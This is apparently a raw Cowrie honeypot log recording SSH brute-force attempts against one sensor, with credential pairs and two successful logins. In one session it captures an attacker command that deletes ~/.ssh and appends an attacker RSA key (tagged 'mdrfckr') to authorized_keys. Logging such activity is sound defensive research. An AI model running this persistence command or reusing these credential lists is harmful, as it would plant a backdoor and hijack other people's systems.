{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:57.629650Z","src_ip":"103.84.236.222","session":"8570f0363862","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":48546,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3a1b49092b8","protocol":"ssh","message":"New connection: 202.145.0.61:48546 (10.17.0.5:22) [session: b3a1b49092b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:32.952226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:32.956905Z","src_ip":"202.145.0.61","session":"b3a1b49092b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:33.190407Z","src_ip":"202.145.0.61","session":"b3a1b49092b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser1","password":"vpnuser1","message":"login attempt [vpnuser1/vpnuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:34.151264Z","src_ip":"202.145.0.61","session":"b3a1b49092b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:35.386946Z","src_ip":"202.145.0.61","session":"b3a1b49092b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":54414,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac63cc6a4662","protocol":"ssh","message":"New connection: 103.84.236.222:54414 (10.17.0.5:22) [session: ac63cc6a4662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:57.739252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:57.746802Z","src_ip":"103.84.236.222","session":"ac63cc6a4662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:57.979347Z","src_ip":"103.84.236.222","session":"ac63cc6a4662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:29:58.945417Z","src_ip":"103.84.236.222","session":"ac63cc6a4662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:30:00.182766Z","src_ip":"103.84.236.222","session":"ac63cc6a4662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":36752,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7b6b98a337f","protocol":"ssh","message":"New connection: 202.145.0.61:36752 (10.17.0.5:22) [session: f7b6b98a337f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:30:26.394365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:30:26.399447Z","src_ip":"202.145.0.61","session":"f7b6b98a337f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:30:26.636464Z","src_ip":"202.145.0.61","session":"f7b6b98a337f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"pa55w0rd","message":"login attempt [hadoop/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:30:27.602710Z","src_ip":"202.145.0.61","session":"f7b6b98a337f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:30:28.841846Z","src_ip":"202.145.0.61","session":"f7b6b98a337f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.15.46","src_port":46266,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c048bccf11f","protocol":"telnet","message":"New connection: 186.53.15.46:46266 (159.203.135.109:23) [session: 6c048bccf11f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:30:53.598327Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":42680,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b62bea50ce0","protocol":"ssh","message":"New connection: 103.84.236.222:42680 (10.17.0.5:22) [session: 2b62bea50ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:00.751887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:00.760952Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:00.998056Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"!QAZ2wsx","message":"login attempt [oracle/!QAZ2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:01.980559Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:02.532581Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:02.536077Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:02.540413Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:02.782648Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:03.306088Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:03.309856Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:03.552726Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:03.556392Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":43550,"dst_ip":"10.17.0.5","dst_port":22,"session":"a70e5ff627c8","protocol":"ssh","message":"New connection: 103.84.236.222:43550 (10.17.0.5:22) [session: a70e5ff627c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:03.776615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:03.782485Z","src_ip":"103.84.236.222","session":"a70e5ff627c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:04.015032Z","src_ip":"103.84.236.222","session":"a70e5ff627c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:04.973117Z","src_ip":"103.84.236.222","session":"a70e5ff627c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:06.213727Z","src_ip":"103.84.236.222","session":"a70e5ff627c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":44422,"dst_ip":"10.17.0.5","dst_port":22,"session":"95642cbbedea","protocol":"ssh","message":"New connection: 103.84.236.222:44422 (10.17.0.5:22) [session: 95642cbbedea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:06.435714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:06.440315Z","src_ip":"103.84.236.222","session":"95642cbbedea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.864912986755371,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:06.463110Z","src_ip":"186.53.15.46","session":"6c048bccf11f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:06.676197Z","src_ip":"103.84.236.222","session":"95642cbbedea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:07.627084Z","src_ip":"103.84.236.222","session":"95642cbbedea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:07.863654Z","src_ip":"103.84.236.222","session":"95642cbbedea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:07.870447Z","src_ip":"103.84.236.222","session":"2b62bea50ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":53180,"dst_ip":"10.17.0.5","dst_port":22,"session":"42ef89d0a602","protocol":"ssh","message":"New connection: 202.145.0.61:53180 (10.17.0.5:22) [session: 42ef89d0a602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:17.959741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:31:17.964339Z","src_ip":"202.145.0.61","session":"42ef89d0a602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchang